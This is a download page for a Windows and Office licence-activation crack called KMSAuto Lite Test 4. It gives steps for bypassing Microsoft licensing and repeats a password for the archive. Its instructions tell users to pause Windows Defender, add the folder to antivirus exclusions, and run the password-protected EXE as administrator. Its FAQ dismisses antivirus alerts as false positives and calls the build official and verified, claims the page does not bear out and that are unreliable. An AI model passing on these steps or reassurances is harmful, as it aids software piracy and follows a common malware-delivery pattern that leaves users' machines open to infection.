KMSAuto Lite Test 4 Download 2026 — Free Windows & Office Activator
KMSAuto Lite Test 4 — the lightweight Ratiborus activator for Windows 11/10 and Office 365/2024. Free portable EXE, password WYqejXiqBi97, no install required.
WYqejXiqBi97KMSAuto Lite Test 4 is the slimmed-down sibling of KMSAuto Net. It strips out the .NET GUI and ships as a single 6 MB EXE — perfect for USB toolkits and offline machines.
What 'Test 4' means
Test 4 is the fourth public test build from Ratiborus that adds Office 2024 LTSC + Windows 11 25H2 support to the Lite line. Earlier Test 1-3 builds did not have Ohook.
Activation steps
Same workflow as the full KMSAuto Net.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
Lite vs Net
Pick Lite if you want a single EXE; pick Net if you want the GUI.
- Lite — 6 MB, console UI, fastest
- Net — 77 MB, full GUI, more methods
- Both activate the same products
Frequently asked questions
▸Is this build official?
Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is WYqejXiqBi97.
▸Does it work on Windows 11?
Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.
▸Does it activate Office 2019/2021/2024?
Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.
▸Will antivirus flag it?
Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.
▸Is there a newer version?
Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.
